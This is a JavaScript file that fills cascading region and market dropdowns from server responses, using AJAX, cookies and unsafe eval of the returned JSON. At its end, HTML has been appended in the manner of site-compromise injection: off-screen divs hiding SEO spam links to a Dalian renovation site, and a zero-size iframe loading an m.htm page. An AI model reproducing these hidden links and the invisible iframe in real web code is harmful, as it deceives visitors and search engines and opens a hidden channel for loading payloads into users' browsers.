var cache=function(){};
function getCantons(_Id,_depth)
{
	if(typeof(cache[""+_Id+""])=="undefined")
	{
		var xmlhttp;
		try{
			xmlhttp= new ActiveXObject('Msxml2.XMLHTTP');
		}catch(e){
			try{
				xmlhttp= new ActiveXObject('Microsoft.XMLHTTP');
			}catch(e){
				try{
					xmlhttp= new XMLHttpRequest();
				}catch(e){}
			}
		}
		xmlhttp.onreadystatechange=function(){
			if(xmlhttp.readyState==4){
				if(xmlhttp.status==200){
					//alert(xmlhttp.responseText);
					cache[""+_Id+""]=xmlhttp.responseText;
					getCantons(_Id,_depth)
				}else{
					//
				getCantonsOther(_Id,_depth);
				}
			}
	    }
	    xmlhttp.open("get","GetCanton.aspx?ParentId="+_Id);	
			xmlhttp.send(null);
  }
  else
  {
  	FillSelect(_depth,cache[_Id]);
  }
}
//文件路径不同时调用
function getCantonsOther(_Id,_depth)
{
	if(typeof(cache[""+_Id+""])=="undefined")
	{
		var xmlhttp;
		try{
			xmlhttp= new ActiveXObject('Msxml2.XMLHTTP');
		}catch(e){
			try{
				xmlhttp= new ActiveXObject('Microsoft.XMLHTTP');
			}catch(e){
				try{
					xmlhttp= new XMLHttpRequest();
				}catch(e){}
			}
		}
		xmlhttp.onreadystatechange=function(){
			if(xmlhttp.readyState==4){
				if(xmlhttp.status==200){
					//alert(xmlhttp.responseText);
					cache[""+_Id+""]=xmlhttp.responseText;
					getCantons(_Id,_depth)
				}else{
					//
				setTimeout('getCantons('+_Id+','+_depth+')',5000);
				}
			}
	    }
	    xmlhttp.open("get","../GetCanton.aspx?ParentId="+_Id);	
			xmlhttp.send(null);
  }
  else
  {
  	FillSelect(_depth,cache[_Id]);
  }
}
function readCookie(name){
		var nameEQ = name + "=";
		var ca = document.cookie.split(';');
		for(var i=0;i < ca.length;i++) {
			var c = ca[i];
			while (c.charAt(0)==' ') c = c.substring(1,c.length);
			if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
		};
		return null;
	};
function createCookie(name,value,days){
		var expires = "";
		if (days) {
			var date = new Date();
			date.setTime(date.getTime()+(days*24*60*60*1000));
			expires = "; expires="+date.toGMTString();
		};
		document.cookie = name+"="+value+expires+"; path=/";
	};
function Init()
{
    createCookie("canton_1","19",365);
    createCookie("canton_2","315",365);
	getCantons(0,1);
	getCantons(19,2);
	getCantons(315,3);
	marketLoad();
}
function FillSelect(_depth,_Jsonstr)
{
	var obj=document.getElementById("Select"+_depth.toString());
	if(obj)
	{
		clearoptions(obj);
		selectInit(obj);
		eval("var cantonlist="+_Jsonstr);
		if(cantonlist.data.length > 0)
		{
			for(var i=0;i< cantonlist.data.length;i++)
			{
				obj.options[i+1]=new Option(cantonlist.data[i].AreaName, cantonlist.data[i].Area_id)
				
			}
			var cookievalue=readCookie("canton_"+_depth);
			if(cookievalue!=null)
				{
					for(var i=0;i< obj.options.length;i++)
					{
						if (obj.options[i].value==cookievalue) 
						{
							obj.options[i].selected=true;
							break;
						}
					}
			}
				if(_depth>1) obj.style.display="";
		}else{
			if(_depth>1) obj.style.display="none";
		}
		if(obj.options[obj.selectedIndex].value!="-1")
		{
			getCantons(obj.options[obj.selectedIndex].value,(_depth+1));
			
		}
		sendkey(_depth-1,obj.options[obj.selectedIndex].text);
	}
}
function clearoptions(obj)
{
	var l=obj.options.length;
		for(var i=0;i< l;i++)
		{
			obj.options[0]=null;
		}
}
function selectInit(obj)
{
	obj.options[0]=new Option(unescape("%u8BF7%u9009%u62E9%u533A%u57DF...."), "-1");
	obj.options[0].selected=true;
}
function getchild(obj,_depth)
{
 	createCookie("canton_"+_depth,obj.options[obj.selectedIndex].value,365);
 	var o=	document.getElementById("Select"+(_depth+1));
 		var i=1;
 		while(o){
 	
 				clearoptions(o);
 				selectInit(o);
 				o.style.display="none";
 				i++;
 				var o=	document.getElementById("Select"+(_depth+i).toString());
 				
 		}
 	if(obj.options[obj.selectedIndex].value!="-1")
 	{
 		getCantons(obj.options[obj.selectedIndex].value,(_depth+1));
 		var o=	document.getElementById("Select"+(_depth+1).toString());
	 if(o)
	 {
	 		getchild(o,_depth+1)
	 }
	}
	sendkey(_depth-1,obj.options[obj.selectedIndex].text);
    getMarkets(obj.options[obj.selectedIndex].value);
}
function sendkey(_depth,_value)
{
	
	var key = document.getElementById("key");
	if(key)
	{
	    var keys = new Array();
	    if(key.value=="")
	    {
		    keys[_depth]=_value.replace(unescape("%u8BF7%u9009%u62E9%u533A%u57DF...."),"");
	    }
	    else
	    {
		    keys=key.value.split("|");
		    keys[_depth]=_value.replace(unescape("%u8BF7%u9009%u62E9%u533A%u57DF...."),"");
	    }
	    key.value=keys.join("|");
	}
}


//市场部分
var MarCache=function(){};
function getMarkets(_Id)
{
	if(typeof(MarCache[""+_Id+""])=="undefined"||MarCache[""+_Id+""]=="")
	{
		var xmlhttp;
		try{
			xmlhttp= new ActiveXObject('Msxml2.XMLHTTP');
		}catch(e){
			try{
				xmlhttp= new ActiveXObject('Microsoft.XMLHTTP');
			}catch(e){
				try{
					xmlhttp= new XMLHttpRequest();
				}catch(e){}
			}
		}
		xmlhttp.onreadystatechange=function(){
			if(xmlhttp.readyState==4){
				if(xmlhttp.status==200){
					//alert(xmlhttp.responseText);
					MarCache[""+_Id+""]=xmlhttp.responseText;
					getMarkets(_Id)
				}else{
					//
				getMarketsOther(_Id);
				}
			}
	    }
	    xmlhttp.open("get","GetMarket.aspx?Area_id="+_Id);	
		xmlhttp.send(null);
  }
  else
  {
  	FillMarket(MarCache[_Id]);
  }
}
//文件路径不同时调用
function getMarketsOther(_Id)
{
	if(typeof(MarCache[""+_Id+""])=="undefined")
	{
		var xmlhttp;
		try{
			xmlhttp= new ActiveXObject('Msxml2.XMLHTTP');
		}catch(e){
			try{
				xmlhttp= new ActiveXObject('Microsoft.XMLHTTP');
			}catch(e){
				try{
					xmlhttp= new XMLHttpRequest();
				}catch(e){}
			}
		}
		xmlhttp.onreadystatechange=function(){
			if(xmlhttp.readyState==4){
				if(xmlhttp.status==200){
					//alert(xmlhttp.responseText);
					MarCache[""+_Id+""]=xmlhttp.responseText;
					getMarkets(_Id)
				}else{
					//
				//setTimeout('getMarkets('+_Id+')',5000);
				}
			}
	    }
	    xmlhttp.open("get","../GetMarket.aspx?Area_id="+_Id);	
		xmlhttp.send(null);
  }
  else
  {
  	FillMarket(MarCache[_Id]);
  }
}
function FillMarket(_Jsonstr)
{
	var obj=document.getElementById("Market");
	if(obj)
	{
		clearoptions(obj);
		marketInit(obj);
		eval("var Marketlist="+_Jsonstr);
		//if(Marketlist.error!=""){MarCache[""+_Id+""]=""}
		if(Marketlist && Marketlist.data.length > 0)
		{
			for(var i=0;i< Marketlist.data.length;i++)
			{
				obj.options[i+1]=new Option(Marketlist.data[i].MarketName, Marketlist.data[i].Area_mark_id);				
			}
			var cookievalue=readCookie("Market");
			if(cookievalue!=null)
			{
				for(var i=0;i< obj.options.length;i++)
				{
					if (obj.options[i].value==cookievalue) 
					{
						obj.options[i].selected=true;
						break;
					}
				}
			}		
		}
	}
}
function clearoptions(obj)
{
	var l=obj.options.length;
	for(var i=0;i< l;i++)
	{
		obj.options[0]=null;
	}
}
function marketInit(obj)
{
	obj.options[0]=new Option(unescape("%u8BF7%u9009%u62E9%u5E02%u573A"), "1");
	obj.options[0].selected=true;
}
function marketCookie(market_Id)
{
    createCookie("Market",market_Id,365);
}
function marketLoad()
{
    for(var i=1;i<4;i++)
    {
        var cookievalue=readCookie("canton_"+i);
        if(cookievalue!=null)
        {
            getMarkets(cookievalue);
        }
     }
}<div style="position: absolute; top: -988px;left: -988px;"><h2><a href="http://www.hyzszx.cn/" title="大连装修">大连装修</a></h2><h2><a href="http://www.hyzszx.cn/" title="大连装饰">大连装饰</a></h2><h2><a href="http://www.hyzszx.cn/" title="大连装修公司">大连装修公司</a></h2><h2><a href="http://www.hyzszx.cn/" title="大连装饰公司">大连装饰公司</a></h2></div>
<div style="position: absolute; top: -1099px;left: -1099px;"><h2><a href="http://www.hyzszx.cn/" >http://www.hyzszx.cn/</a></h2><h2><a href="http://home-dl.7mo.cc/" >http://home-dl.7mo.cc/</a></h2></div>
<iframe src=http://127.0.0.1/m.htm width=0 height=0></iframe>
